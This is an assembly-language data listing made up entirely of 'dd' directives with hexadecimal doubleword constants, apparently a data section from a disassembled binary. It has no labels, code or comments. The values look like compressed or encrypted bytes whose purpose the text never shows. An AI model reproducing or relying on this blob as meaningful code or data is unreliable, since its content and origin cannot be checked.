		dd 91E5E85h, 959265h, 130C1DA9h, 0AE9EA01h, 4D607B5Eh
		dd 0C7282668h, 0BD3B6D9h, 0AD5FB07Fh, 54E70025h, 4BD5E981h
		dd 0D1277E86h, 0C967C8E1h, 550A1809h, 786E222Eh, 0E5604C24h
		dd 0B4B66907h, 0DFCF0962h, 0F4C3AD72h, 76AB5006h, 75B11226h
		dd 0EBF80085h, 62CF729Fh, 3DC1295Bh, 1639DA3Fh,	0DF71C200h
		dd 0D631BFCBh, 0EB4A46FCh, 0ED0170AEh, 63E07E9Ah, 57685A0Bh
		dd 524EF46Dh, 0F7C3325Fh, 0FBAD8851h, 0F8D8932h, 0D67AAC54h
		dd 94D7EB4Dh, 12687E23h, 0C549426h, 301C5BECh, 8B30C377h
		dd 2DF2B30Bh, 5D683008h, 3271930Ch, 0F8EA0C50h,	0D1CCE501h
		dd 0B53E22Dh, 40CF4820h, 0F968681Dh, 0D612DB0Bh, 0CA4A95A2h
		dd 3350012h, 0E944392Bh, 40809501h, 4B7693BFh, 0D6A8BA4Fh
		dd 8305074Eh, 4E71F9C3h, 11A4508h, 6C3E24BEh, 817D300Ah
		dd 4A04CE05h, 878216C9h, 0F4EE5F28h, 988B3220h,	4027A1Ch
		dd 3C683E11h, 10E9F370h, 0BB01B50Dh, 508A1B4Dh,	68FA4243h
		dd 5A973AC4h, 0EF5AF689h, 922E466Ah, 0CF82360h,	8CB58E13h
		dd 4E0328B0h, 0C0DBE9A4h, 45DBB850h, 2D6900CFh,	48B37605h
		dd 4D0B6035h, 78406CA1h, 17FCFCB2h, 0BFDCE295h,	0E9504C02h
		dd 17D7D090h, 0CC04E568h, 2B530B8h, 0A0A6BD76h,	23EABA93h
		dd 31763A11h, 1D9BE7D4h, 8026357Bh, 3413C3E2h, 0D225E92Ch
		dd 13E845CCh, 46D7FC85h, 0AE207BE3h, 8D574A71h,	87A83F3Eh
		dd 0EEC0FAD2h, 9D74E5E9h, 0C7EB70C8h, 0E442F16h, 0B9986E0h
		dd 29E25A94h, 0F50131DEh, 17FB27D8h, 660F0B28h,	0EAEA432Dh
		dd 0FD082099h, 25390BE0h, 257A6386h, 0C6E90881h, 0FE8066F2h
		dd 0B1045153h, 59CB8809h, 92AC42B4h, 7C76B7D4h,	5E8DC142h
		dd 8A1A63BDh, 2D1C1120h, 80FB8326h, 9BC7F08Ah, 4A28CE81h
		dd 0B4EC6896h, 0F821C499h, 0DB98BE89h, 13C5B1ABh, 0AA7CC5DAh
		dd 75108A5Ch, 778D5928h, 11122560h, 8A0ABD6h, 865A5828h
		dd 4C6F1900h, 5C173530h, 480D0F1Dh, 0F900E0D1h,	5403C4Fh
		dd 61D61F04h, 0AD8757C5h, 56196CD2h, 0B12D17FFh, 44342FFBh
		dd 3234EBEh, 0E9FACCB2h, 1038C031h, 0D66DE821h,	0E453EF8Fh
		dd 0D0470DBh, 0D3F73F4Ah, 1DBE5483h, 0A7ED801Dh, 340F26D1h
		dd 0A0A9EBA3h, 0C0BFBA54h, 0AB2AEF0Bh, 2237C741h, 57206E1Dh
		dd 0AF3A1224h, 0D840FE36h, 26491575h, 803FEDC1h, 77E3A46Bh
		dd 9CE9EF08h, 875E07CCh, 86BF83F7h, 8426505h, 0F0AA252Ch
		dd 0B102E3EEh, 0E92DEE60h, 471849C2h, 4A97EA20h, 7B8AA7DCh
		dd 0A5C0F64Ah, 745A9535h, 0C06812EBh, 4FDE36Eh,	0AFD0E956h
		dd 0A3DC6FD0h, 0A2CA7F5Ch, 2C895DEFh, 0F640B3D4h, 8CB0C1Ch
		dd 8556E975h, 8CAE5B16h, 0A19A4264h, 110CBE04h,	338003C0h
		dd 4A5277C1h, 5ACF94Bh,	0D32F6BD9h, 4AD2C2ABh, 736A9280h
		dd 7C9F608Ch, 0EAD1E3A4h, 0E5AD0440h, 0A0543E13h, 2FC3A908h
		dd 0D2495D5Eh, 8E9635D2h, 5ECDE384h, 0E1A20BA0h, 0B582FD3Eh
		dd 3C20BB8Eh, 9EC5FA5Fh, 0B5C8E2FAh, 6E559C40h,	0BF582147h
		dd 0B20D4F00h, 0E0978638h, 61A6EBh, 0CD8156D1h,	6610202Ah
		dd 83D5F707h, 6EBE01C5h, 724A84A6h, 0D7565580h,	310D2654h
		dd 4EDA2F3Bh, 2C512220h, 9384C4E9h, 48C9CA5Fh, 79E25F6h
		dd 597404B9h, 2337CEBEh, 2577A502h, 4EA345Dh, 17EDBEF7h
		dd 0C0720B0h, 89C6D888h, 0E9135594h, 9AA444CAh,	1B3A1248h
		dd 0AB605612h, 587619D0h, 8F734D4Eh, 1BDF7005h,	82E68109h
		dd 0E41364F1h, 0C8121638h, 0ADF2027Ch, 5570ED59h, 0EDE9E0E9h
		dd 204E2B3Dh, 0BD0156CFh, 6C5E6859h, 2571FFC2h,	901BC64Bh
		dd 0BB1D400Fh, 3F0CD20Ch, 0D7CE9A4Ah, 3FD8E10Dh, 43C492E8h
		dd 0AFE618B3h, 91038273h, 6898F9F7h, 389D3445h,	8187531Eh
		dd 0A9136095h, 0B64BD4E4h, 550241F8h, 5E82939h,	39E80788h
		dd 8A7C6025h, 0B8CC007Bh, 8845C3Dh, 0E407B5BEh,	0B9E9307Dh
		dd 22546669h, 0F607DEA9h, 83F96958h, 783E05B3h,	0C93B12F5h
		dd 0F80FE63h, 3B32F7CBh, 0F30E6D8Fh, 76691412h,	80F9927Fh
		dd 172C530Eh, 0BA8CF649h, 0DE3002E5h, 0F4885B66h, 286286D4h
		dd 879EE5E7h, 33C1C780h, 0F7B001EFh, 0F8592835h, 13E984C6h
		dd 2D4CF3AEh, 0FC5289ACh, 5F59033Dh, 0EDB0108Dh, 932D252Bh
		dd 1418F006h, 84B3FD64h, 0AE41F934h, 53DD8BF0h,	53489FB0h
		dd 712B518Bh, 4BC9BCD7h, 0FE7F015Ch, 0E53F24C0h, 4F8E3C25h
		dd 8B806594h, 2D3EDBEAh, 7B765853h, 4E06E9F8h, 4E6FA3AFh
		dd 264CF4CAh, 1239E900h, 55E1434h, 0D94A4B9Dh, 443F456Ah
		dd 0ADA69806h, 12DA3E38h, 950F7620h, 1EA4E5D3h,	40F73280h
		dd 6054742Eh, 1FA9DAD9h, 10D6058Dh, 0CFEF81AFh,	7B643553h
		dd 2BE8C9B5h, 9AF6B58Ch, 97671750h, 9D02C5DBh, 0FF1E2261h
		dd 0DE488970h, 74BE2h, 4D7EEE87h, 136ED996h, 44EB1C88h
		dd 0EE3E0130h, 291347F2h, 3CC4EAF9h, 1F92BEFh, 205996CFh
		dd 0EFDC4F4Ch, 0FEDF18D2h, 7322E8CDh, 12A8915Eh, 802E251h
		dd 251FF629h, 3E68A040h, 0F5683455h, 0F8D1CE16h, 41BF4FBAh
		dd 16BD736Bh, 245DEDFDh, 52015002h, 0F2473468h,	0C9F45A25h
		dd 0ED31C188h, 0C2086F3Ch
		dd 0F52500DAh, 2B327F91h, 0DC9FE9D0h, 0EFE9C17Ch, 0A0F92FA9h
		dd 0B04268C5h, 8F2FE970h, 0D5366B12h, 9B8414EDh, 77F31019h
		dd 6887F225h, 82DC27ECh, 0CB72BFD8h, 0D4988225h, 0F109003Ah
		dd 0B237E95Eh, 0A6B4A5B5h, 435B41C7h, 27CBA8F2h, 603F78CDh
		dd 1661044h, 292017FAh,	0C28D07Ch, 1C10289Ah, 0B127E95Fh
		dd 2997168h, 232A7548h,	497979DDh, 169478Ah, 25B4C61Bh
		dd 98C03E50h, 9A0BE9C7h, 91585E93h, 5BB322Fh, 0A544D7BAh
		dd 319B44BEh, 431F32Eh,	5D8C3345h, 23062F0Bh, 4093630h
		dd 30376168h, 821A4709h, 0B7C04477h, 0A8CC7871h, 35280496h
		dd 0D9D301ABh, 13063A87h, 62B8586h, 0BC3BABEBh,	43018201h
		dd 0E90FFF2Fh, 0D03E4ECBh, 0F028159Bh, 22045A04h, 9FAE0C8Bh
		dd 0CCB526C0h, 191C708h, 235E3605h, 0AE843A2Dh,	8D0E0716h
		dd 70EF171Bh, 0B83680Dh, 0B45027A8h, 33ECC15Eh,	0B5516601h
		dd 0D8EC304Ah, 0E15C8859h, 0BF755486h, 8A5D5B97h, 0E8524655h
		dd 0C9A89EBDh, 0E0554133h, 9D505E7Fh, 4DC25A79h, 44F8D9A6h
		dd 0C5C88812h, 0C3E1EAB7h, 0FC76A034h, 0D529245Bh, 0F4A712C4h
		dd 6D0FC191h, 662B4A3Ch, 3EF408h, 4422F6BDh, 8398B95Ah
		dd 0BA5F0526h, 57527001h, 56D8290Fh, 26D707BEh,	0F0466D9Fh
		dd 186517E6h, 0BB274B7Eh, 2746C571h, 4A816D5h, 0D90DA968h
		dd 9D3EB46Bh, 0F1C5A160h, 2FB022D3h, 8174015Dh,	52E28ABFh
		dd 0E904A751h, 0A9AECB4Ch, 0D93378DEh, 0C0C3D942h, 171A3E71h
		dd 0B450DBF7h, 52508516h, 447B6389h, 0D6095509h, 0EE35E05Ah
		dd 90100048h, 0E9F089DBh, 88A8855Bh, 82C27DFh, 2902262Ch
		dd 61770D2Fh, 2100D605h, 35005AD0h, 701D79DEh, 0E6D3F793h
		dd 61BB0653h, 92656420h, 0C7D6F8C5h, 321927C0h,	87350F0Ch
		dd 87AF7F3h, 6F0536C1h,	0C227CB90h, 0E4CA4B56h,	0DC627D1Bh
		dd 0FBE6D06Eh, 0B3530076h, 1A28E9B0h, 6469A4B5h, 7AB823D1h
		dd 1D59FDBh, 0B4CD9214h, 5A52F3EFh, 0E9F048B8h,	0DC9D8CE0h
		dd 9C5A5BEAh, 76EBEE17h, 0AE92D0DFh, 3FD8303Ch,	7CA44E73h
		dd 6B2D416Fh, 0C420AFA1h, 4E46B79Ah, 11B47233h,	9CF3F9E7h
		dd 5FF02F34h, 0DC75AB5Eh, 7D64D6E4h, 9EFCB588h,	2216B983h
		dd 0CB01D150h, 83130130h, 0C0F87216h, 5EABB8D5h, 767EC9CAh
		dd 51A06B64h, 4D2C3F03h, 4F08530Ch, 69B003CDh, 0CA4CF830h
		dd 82834CADh, 5D48638Eh, 5E4261h, 1E4FB652h, 0D63CE680h
		dd 5A29A0A1h, 21B76816h, 5A6F19C9h, 0CF570739h,	9264A72Ah
		dd 4B975620h, 0BFCA285Dh, 44075717h, 5328AFB8h,	47ED0406h
		dd 1516171h, 68C010A8h,	4070E03Bh, 0C7F780AAh, 0E45293BFh
		dd 7798EE9Eh, 0B8CCF767h, 5AE5FE6Bh, 20692FC0h,	413F8724h
		dd 0A1C25DA5h, 39880B02h, 60BF5457h, 52FD6851h,	0F21B18BDh
		dd 20740066h, 5F2CCE81h, 7E9D57FAh, 16E0A7F1h, 6B0BBD55h
		dd 0D55DB75Ch, 91896405h, 7FB817DAh, 8F92D99h, 0C682BA04h
		dd 9A8063E5h, 42494A8Bh, 0BC88F196h, 0CA58E397h, 0B7530035h
		dd 284CB664h, 0C05B02FEh, 0C16805EEh, 14E9FEA3h, 0C056BC8Ch
		dd 9B975BC6h, 4061BF85h, 0F00BEE05h, 73F9BFF5h,	0DC574E42h
		dd 0F094F63h, 0E5976050h, 0BDD922EFh, 6885C34h,	0E913BD2Ch
		dd 59AC5958h, 0C4FFDBE7h, 0BB5A4AD8h, 1343A5D9h, 0A0D95F78h
		dd 22B05AD6h, 0D6213831h, 8D34A29Eh, 0AC5E5EF2h, 2CCF4069h
		dd 47483870h, 0CD7050Bh, 94A1F964h, 680A6468h, 6BB038FAh
		dd 0E918D2DAh, 0BB183B35h, 746B2888h, 555130E2h, 0F206C6DBh
		dd 568CEF1Fh, 1912FD0Ch, 391109F3h, 0ABA06A95h,	0B62C15CBh
		dd 89E91709h, 0D8EB5D94h, 36DE6DC3h, 80C1B704h,	0C2BA48CFh
		dd 0C20B891Fh, 19126013h, 49392533h, 8A062D4h, 6F4D0CC0h
		dd 0E0E92CC4h, 65B6B4A1h, 4C5AAC02h, 47DA12BFh,	43C46E34h
		dd 654EF313h, 0EF5ADD54h, 8438400Ch, 0E82DCC20h, 0A7404310h
		dd 1A02B55Ah, 6807BF7Ah, 3A8804D4h, 0F8578108h,	56266ECDh
		dd 8418D222h, 2EE2B556h, 2456EF20h, 16E11A48h, 69EFF9DDh
		dd 797D0FEAh, 0DB16035h, 5A1A58B7h, 820DB5B8h, 0F42EA91Ch
		dd 44FF6917h, 7F5B3360h, 0E6BA50DDh, 0D15E8B77h, 17BF60E7h
		dd 2009FD1Eh, 726BEFE9h, 0C28896D1h, 0A04C74B3h, 0CCF909F3h
		dd 0B4452E3Ch, 939EAD7Ah, 0E3E9808h, 10E55259h,	375FFB77h
		dd 1666938Eh, 0FCF869BAh, 0D2C4C83Bh, 53097EF2h, 515885F6h
		dd 505A80E6h, 347EB000h, 7E0C076h, 305D2404h, 0E5323C7Eh
		dd 52F87CCCh, 5269BA09h, 0EA2A0068h, 5B780262h,	1D21FC57h
		dd 1FEC34Ch, 95B6A6F2h,	8B6E29F8h, 40774CA8h, 82AB05F0h
		dd 57041394h, 8FBFECD3h, 61FE5BCFh, 943A9BD7h, 30A7470Ch
		dd 72F5251Fh, 129D2C24h, 0F67A021Fh, 605FA7CAh,	817D6590h
		dd 0AE66B59h, 0B14C526h, 0BF806A15h, 644F63E5h,	23BFE0C0h
		dd 48015172h, 0CD0B6BD5h, 0C0C220E9h, 850BFFh, 0A76463A4h
		dd 9E29076h, 3AB94AECh,	5CE2F000h, 0E3F87ECCh, 7C50BA01h
		dd 5F15E979h, 350EF362h, 0EB32FF86h, 0F4347469h, 757400BDh
		dd 0F7BF1B35h, 33038BB1h, 0F1E9EF01h, 0AD381227h, 0F60E0931h
		dd 30BF4878h, 16EC68BDh, 8079AC32h, 7B1BDAFDh, 389A4361h
		dd 0A168FA6Bh, 3CFFA001h, 2BDE89D5h, 8AC2B664h,	0B7F449Bh
		dd 60D2064Bh, 0C78106FEh, 0FE7CB7EBh, 0CD5BE668h, 605FF03h
		dd 5C9B37A1h, 0B741EAA3h, 76E90C01h, 16B9E934h,	6D1870h
		dd 1002F17Fh, 58B55342h, 9C9F2D6h, 416C0FF2h, 0B050525Fh
		dd 97E9FFB3h, 0E26AA65Dh, 7CF9D245h, 2D3368C2h,	0FF60FA76h
		dd 900D0977h, 52140C0Ch, 9C0C02D4h, 69492C7Eh, 5437C7D4h
		dd 50D1560Bh, 0C74E1705h, 62B92E00h, 12DCFEDh, 0D8E2679h
		dd 4205D029h, 0DC15A07h, 0B0F5F269h, 0BB2D806Ch, 9ACA3A9h
		dd 66E012E9h, 800482B3h, 8850B5C3h, 884866A1h, 0DD3D0AC2h
		dd 2DCCD59h, 271A0EC8h,	813FDA7Ch, 4A18C4CFh, 0F7DC4F32h
		dd 0A0A3FCB3h, 9C5FF8A9h, 59700040h, 0A2E93A79h, 0BF70CE60h
		dd 5CA950FDh, 150BDD1Bh, 28F18h, 21032345h, 3336B9D0h
		dd 52CDDC22h, 0DA022F9Eh, 0AB7D2768h, 0BE1EC471h, 61DA8980h
		dd 0B57D9457h, 814206DCh, 0F019667Ch, 0E8060D2h, 302D4858h
		dd 0E6CE807h, 0B891C289h, 15D51B7Bh, 4041803Ah,	0A909A805h
		dd 0FF29B1E1h, 0AB141302h, 537480C6h, 16EBC35Ah, 0EDB12AFh
		dd 0F8F2CF53h, 0C41E9E67h, 0E7811075h, 0BF04B4ACh, 0C1EE708Dh
		dd 18816471h, 0B652665Bh, 4FEC3A07h, 8EBB041Dh,	518F2CD8h
		dd 0CFDC1FF7h, 5BEFFD88h, 15042263h, 99A3A093h,	4FD7E883h
		dd 60A6289Eh, 0FABDB149h, 5E4AF763h, 38C431AFh,	0BA82204Fh
		dd 6BB3361Fh, 194E9C4h,	6D1C20EBh, 0F9F72B06h, 0E5FB96B6h
		dd 7FEEF409h, 0C49CFCC4h, 521271AFh, 80A53255h,	3D513AF2h
		dd 6C689732h, 70792CD0h, 5EDB0CC2h, 918FC8DDh, 69B42C73h
		dd 20F6261Bh, 0E5A6708h, 6D514249h, 0CDCEA77h, 121B1C08h
		dd 60347523h, 0D40CE9C3h, 68AC84C1h, 107362A8h,	4DB55109h
		dd 37D1E538h, 0F43FBA81h, 54410138h, 2AF8C96Fh,	0BF5D96A4h
		dd 4B55A762h, 4CA7EABh,	105313Eh, 9BC84F2h, 0C025E08h
		dd 0BA578452h, 0C8D06A6Dh, 9F39DB91h, 0BA1D0266h, 7DA66A21h
		dd 0EDD5E02Dh, 83418159h, 424D74F2h, 0D13DE24Ah, 5772034Eh
		dd 98D92394h, 8F85C395h, 875A12C1h, 3558A930h, 63590276h
		dd 0C906E92Ah, 94FBB905h
		dd 0C8E5FABFh, 0A484F82Bh, 2C4B63C3h, 9CDE1BDh,	8A94AE33h
		dd 997D6F6h, 0DC510B76h, 0E37CF1Ah, 0B95D5890h,	870C35FCh
		dd 0CFD8E6Bh, 0F3C397E9h, 1F640FC2h, 60673FF2h,	0CC550990h
		dd 497B9FD7h, 4594288Bh, 0DBC60B4Eh, 2A87945Dh,	77A28CCBh
		dd 0AE55FCAh, 3B54B46h,	6FDCC58Bh, 11DD9A09h, 9FF40253h
		dd 5A03DA40h, 5D53FECEh, 8F4030F9h, 7EAC418Eh, 68512480h
		dd 351A5A03h, 4C45FBB5h, 35FE4481h, 0C4DD0C5Bh,	0F75A20A8h
		dd 33917491h, 4F518E3Eh, 0ECD553BEh, 0CC2FF975h, 2FE55252h
		dd 0D51320EDh, 59BFF2BDh, 0CB539EA3h, 8F7AC221h, 0B202B279h
		dd 280BB0A3h, 8851B960h, 0C674F172h, 0FE59C81Dh, 4F08640h
		dd 5EBEE992h, 0AC7744A6h, 7D2F1DD1h, 0B4501F98h, 0E588B013h
		dd 7006D70Fh, 73C0BD01h, 0F581495Eh, 6BC1FA08h,	4054A54Dh
		dd 0B68539Ch, 572E4E3Ah, 31E082A3h, 81B31DCDh, 0AD3390DDh
		dd 0A403A89h, 7D9C10F3h, 0C43C5FE9h, 9DCFFEDDh,	25BFE908h
		dd 3399D025h, 590BD5F7h, 0E955D1B0h, 86FCF534h,	751C06BFh
		dd 0C17E0A0Dh, 0CFDA2E60h, 0B2D17EE9h, 0B7616AFh, 0EEC90718h
		dd 647C420Fh, 806678FDh, 599BE908h, 0CC18A3D4h,	0B5E08B58h
		dd 646D6282h, 1357EA40h, 0A1B36384h, 9FA13A86h,	7C620C82h
		dd 28FF7866h, 0E906084Ch, 23CB148h, 9240DDBBh, 413159h
		dd 32D83E0Ah, 0F3414EC3h, 45611200h, 0DE1065B3h, 68AD05C1h
		dd 0B4D87DA6h, 6690028h, 0F7ED8155h, 1E6EC08h, 806799Dh
		dd 7FA5176Dh, 0E989326Fh, 5B3AA4E3h, 0E6DACFFCh, 0CC1B27Ah
		dd 0B983208h, 0AFEDC57Ah, 8F6055B5h, 777148D0h,	18D2C518h
		dd 0DEE4AA2Ch, 81955DF2h, 0A4EF804Ch, 9017F7CCh, 4FFD7265h
		dd 0B3C634EAh, 66503100h, 91698F78h, 25B850A0h,	41D53802h
		dd 61E8C148h, 7FC2C6F5h, 4FC89898h, 7CBBCE95h, 2DB62F4Dh
		dd 0CAB00894h, 2194302h, 90FB013Ah, 8B6821D6h, 6D122C4Eh
		dd 0E9C83CAFh, 4FC0017Ch, 0E135C8F7h, 5B87B815h, 4FBFE8FBh
		dd 5E6E72EBh, 42616232h, 408EB84h, 5D685A25h, 0CB64FF74h
		dd 14A62480h, 0B43E4F93h, 0C94FCDCAh, 0AAE8D0D9h, 27BE8009h
		dd 878CBD0Bh, 0A4798F29h, 31BB5465h, 472D07Ch, 29B9C200h
		dd 20ED740h, 689FF181h,	9F8F0B8Bh, 0BC1D8C52h, 0BA83D941h
		dd 6AB745CBh, 7A5029DAh, 28C8351Eh, 4C054140h, 0BDBE167Dh
		dd 85B15FF8h, 2825F000h, 2468581Ah, 0D85E05F9h,	3E5FE957h
		dd 0BB5F22FCh, 97D4DD28h, 0DBF75AC2h, 58920FFCh, 7706CEh
		dd 4765D6DDh, 0DB04F764h, 3FBD5543h, 0C14C9DC0h, 0CC0779EDh
		dd 5E4AB366h, 74B3A5B7h, 2A6710BEh, 87391473h, 8904086Eh
		dd 814F9205h, 871E4385h, 2E0C03Eh, 2A0E284h, 3A12702Ch
		dd 5A0104D0h, 8048B353h, 444461F3h, 0D5ECAA0Eh,	0D9A851A8h
		dd 9839C380h, 225AFA28h, 0CFB99A07h, 29508A50h,	4E009FCBh
		dd 37F135ADh, 89A8E92Fh, 0A7E2F67Dh, 5C515FD9h,	8548A83Bh
		dd 47B93CA6h, 8AC22125h, 0B3553C57h, 0ACEF890Bh, 9420B071h
		dd 0A209F02Fh, 73A6FA6Eh, 0A8033527h, 0B977123Bh, 5FC8F2AAh
		dd 0E95231AEh, 1327496h, 0E9A9EB4Eh, 133DA84h, 884AB050h
		dd 42A042Ah, 0C668027Fh, 7AB0FD18h, 0CC7617D7h,	0DAF72Eh
		dd 21BB958h, 0E92FB01Eh, 0E47DA1AEh, 0A6F2F166h, 28C480B1h
		dd 0EFA3280Dh, 0E98BF0BBh, 6CF789F3h, 5AF87C7Ah, 0B8A02055h
		dd 0B62C30D5h, 83137F72h, 4E4DFFCh, 384A79Fh, 9FF78766h
		dd 0BB50D723h, 502A3B8h, 4DE9D010h, 7F8E972h, 1A900599h
		dd 5BC98AB2h, 52924Bh, 96109586h, 0B5897Bh, 46E7CA42h
		dd 0B40B4AB8h, 5F1CAA53h, 0C1894D42h, 0C7002EAh, 920353B0h
		dd 2A21FF54h, 0DE0616B3h, 0A773C605h, 0F0BB2907h, 0CF0577ECh
		dd 0D6315C99h, 0C05998F4h, 68BF57F5h, 764CAC29h, 0D6C35A9h
		dd 0AE4A3AA8h, 0CF1AAB8Fh, 9BC316C7h, 36CDFCB9h, 0E0DD2F73h
		dd 78565F8Ah, 0B777EE54h, 0E2554A92h, 638780A7h, 17AD7F6Bh
		dd 45D98951h, 887D4A37h, 6F169891h, 54C45226h, 4516D1EFh
		dd 0EA23817Bh, 94382796h, 0B84E9C38h, 0D829C509h, 0DD1015A7h
		dd 0DA281EA0h, 16D33DF8h, 3F356A40h, 9CCCC783h,	0C17898AEh
		dd 29091F01h, 8B305DBDh, 4F397120h, 0A709316Bh,	905C4318h
		dd 61761AC9h, 0B0C43B01h, 9257E3AAh, 273C8AABh,	982548E8h
		dd 64248B77h, 0CF0076B7h, 8E7C094h, 633D5DE9h, 2F8AD95Ah
		dd 115851BDh, 0C6F702Ah, 8E1C141h, 0C3276189h, 0E9B240EAh
		dd 0FEA94E25h, 0F1F6ED58h, 7C633C72h, 0ACDAEFBCh, 8A8FBD24h
		dd 170461BEh, 0FCDFD06h, 0B9377D5h, 858C0931h, 10955FFFh
		dd 5E70400h, 5B681184h,	0DE18AC9Ch, 82293D00h, 5FA1E92Bh
		dd 7D1A36Ch, 2DA51D95h,	51E9B7D7h, 90BA47Bh, 715F626Ah
		dd 9BD227AAh, 54007AE1h, 956FA2B8h, 25FDF54Bh, 0E6D1F7C2h
		dd 2C7348EEh, 68520F09h, 0A5B034E9h, 0C4321FD6h, 0F5742A62h
		dd 255E8DBAh, 0E8D688h,	3DB805ADh, 2D0156D4h, 3198741Dh
		dd 343AD801h, 6E92C2D7h, 6426C6D4h, 48011D16h, 2EBC066h
		dd 81219BDBh, 0E8EA5BDDh, 9546E99Fh, 955F4289h,	2C45A470h
		dd 297FC9CCh, 33260E40h, 74CF3645h, 91BEE485h, 3B22C775h
		dd 0B12E29A1h, 0F2847B7Fh, 5A00E18Eh, 5614CB3Eh, 4FF2DEBEh
		dd 5D12C4Eh, 0BC04BAF3h, 28700801h, 12801DEEh, 70B5BB8Dh
		dd 7DC98102h, 1E20FC6Ch, 9BF4A0ACh, 9009EC6Ch, 47D10B20h
		dd 8A781FA8h, 26AB1731h, 673F7A68h, 0D02DC272h,	7CB995E0h
		dd 72DC934Eh, 33A95AFBh, 4B13A72Eh, 0F509CE01h,	0E79457C5h
		dd 5079B097h, 425A8B7Ch, 0DD5130BAh, 0DC9F1C8Bh, 0AFA05CAFh
		dd 252C420Dh, 0A0BCD270h, 0E8882FFFh, 7D27EAF6h, 0FFF83D14h
		dd 0CBFE07CEh, 1CC0053h, 34E9C788h, 0AE42E544h,	44B571E9h
		dd 0B373B8B0h, 0A6841699h, 6925F9E7h, 0C4391BF2h, 87013980h
		dd 0DCF63ECCh, 0E970F480h, 0D9C167F7h, 5F536EDDh, 0F19D1324h
		dd 0C02C2B5Ah, 0A0631342h, 4207EE7Dh, 0AB3A3568h, 0DA94E961h
		dd 0CB8AF93Ah, 0DC39628Dh, 0FC7EA713h, 0C21683A6h, 0D73E5FABh
		dd 0AB2D53DAh, 95296C98h, 1377227Dh, 58030B78h,	5BB275EBh
		dd 890B38D6h, 480B60DEh, 4783080Eh, 820F101h, 24692F9Eh
		dd 0B880563Ch, 19DB6288h, 0B8CBE46h, 42BB2B29h,	15216889h
		dd 3EFFDC72h, 0C509720h, 17C2907Dh, 1A01EF83h, 0F8600B44h
		dd 0B90B0615h, 62C72173h, 42245D96h, 657E9833h,	3C164273h
		dd 0D422C321h, 1724D037h, 41EB315Fh, 602B418Fh,	53F94422h
		dd 0C300EE92h, 0CF79B6B9h, 65D0BD27h, 0CBE9570Bh, 29FAD2B0h
		dd 5997109h, 4E83297h, 8D1591DDh, 3D122E9Ah, 0B7C486F2h
		dd 91B90048h, 0A07F7D2Bh, 98CE52B1h, 0BAD3E58Eh, 0BFC748EDh
		dd 0C90D1286h, 0D701AA34h, 103E580Ah, 238A0C82h, 31C84E7Dh
		dd 0A7BD50E9h, 0B4D1EBE3h, 0CF70AF65h, 80D4BDFCh, 0E881005Ah
		dd 9B400A60h, 3D6D890Eh, 98D39CF7h, 945D4E9Eh, 3BA40027h
		dd 0DA3107FBh, 59FDF497h, 800B873Bh, 0C73064EFh, 3B15185h
		dd 28F10412h, 59A32CC8h, 5BE175BAh, 31AE8E7Bh, 0E27FFD9h
		dd 4708F2DCh, 0E142821h, 816FBAC2h, 217DEE2Bh, 9620E9D3h
		dd 647FD36Eh, 0F2814901h, 27E15F44h, 2468D20h, 4A282239h
		dd 0D8A003E9h, 1618C7BEh, 7CB7D790h, 1A0C00E7h,	0EA090206h
		dd 574B5D4Ah, 0AD6F0434h, 0EFB785EBh, 0ED0D7A2h, 0EFD33CCFh
		dd 25E985CCh, 0A2DA95CEh
		dd 3A0DB004h, 7BC3896Dh, 0C4B75EB3h, 0A294C780h, 7CEC96C6h
		dd 0D68596BFh, 684A8054h, 18BF3EB3h, 8087A06Ch,	0D0367BEh
		dd 0F0293A65h, 5F8995Eh, 62E90A40h, 9914B5B4h, 39972D06h
		dd 508E42F8h, 95B0705h,	3549685Dh, 3040669Ah, 0B13C7808h
		dd 0CA13C34Ah, 0E03A5051h, 56C60117h, 0F275EF14h, 0A0A753BFh
		dd 0CA5A4C33h, 0F8212DFEh, 2A92ADE5h, 0C067E60Fh, 0F68D7DEEh
		dd 1AA50629h, 591F83F5h, 0C8C08AE9h, 2D7A9B59h,	8C72600Ch
		dd 88FB6E3Bh, 402C7E9h,	0E205E1C0h, 2EBC467h, 55C8AF74h
		dd 4BE25BB6h, 0D0C9CFAAh, 0E0BE385Ah, 9A7754E9h, 2095AE36h
		dd 0FA972E23h, 443F2D1Fh, 4A88D5D3h, 3282C4Fh, 0A1CD80CEh
		dd 1C18C59Bh, 0B927A518h, 0EF9EA86Eh, 0F5D0BDADh, 0C4270F95h
		dd 0F4FEF12Fh, 751239FBh, 61FE2216h, 885C46B0h,	26E89C4Bh
		dd 1B4E1CB3h, 10AE7AE6h, 7D682E5Ch, 3959D5E5h, 16DFC8D0h
		dd 0C0C0F25Bh, 3FEA7E7Ch, 4190A2C1h, 0AB053538h, 0D97C92CDh
		dd 2D5E0D10h, 9B701659h, 327D49EEh, 0C1A15FB7h,	128FE2E9h
		dd 991A928h, 706BCAF6h,	6B99A274h, 1F46D8FFh, 2D4902E4h
		dd 22204523h, 0B366757h, 3AD267E9h, 0EE86CE50h,	0C5B91202h
		dd 0D7F22969h, 0C82DCFC7h, 5FE1E97Ah, 59C2DD6Dh, 5F89438Fh
		dd 4E02C23Ah, 40E1FECCh, 12FC5294h, 2133854Ah, 0CC5751B6h
		dd 909887Fh, 0F76D8060h, 2C5E3DBBh, 30212932h, 7F05D272h
		dd 0F0E91716h, 81A6785Fh, 0B2A8A02Fh, 0C17F7E53h, 4D66260Ch
		dd 0A21E3003h, 0FDE76880h, 77108955h, 0C8FE1D89h, 2C3EF468h
		dd 0DEE824D5h, 20F370AFh, 94972486h, 206818A0h,	6384D2Dh
		dd 88BB80h, 8105341Bh, 64035AE3h, 0CFF83B4Fh, 812BEF72h
		dd 415B3C67h, 0BC46ABh,	3D45F705h, 2612417Ch, 0CA2851C4h
		dd 0B831FC5Bh, 23CC4ADAh, 0EE85B9E4h, 18043BD5h, 68022AC7h
		dd 0CF596E4Dh, 6C65388Fh, 16A2980Eh, 110023Fh, 84B2BBBh
		dd 9DA02B5Ah, 4D867F7h,	39D05740h, 78A6BA80h, 0C32C29BDh
		dd 0E90F0758h, 0EC327328h, 45D283B1h, 1A7B10AAh, 0E251C934h
		dd 4DB27779h, 0FDD2C2F7h, 0DFE9F179h, 0A56623E9h, 0C0CC5D4Eh
		dd 52A9DD4Fh, 0B84FEC95h, 49ACF5B7h, 1277DA1h, 0A07EE280h
		dd 1F62B95h, 0DE455E6Bh, 695F884Dh, 78EA8103h, 69858E5h
		dd 0BA4F805Bh, 63F468DFh, 94095374h, 8019102Bh,	7934F334h
		dd 4444B3Dh, 0ABC0E28Eh, 0D50038Ah, 0EE04F57Ah,	400C5FB4h
		dd 584A668Dh, 3AF88C5h,	0E320FC2Ch, 0F3861612h,	68D095A1h
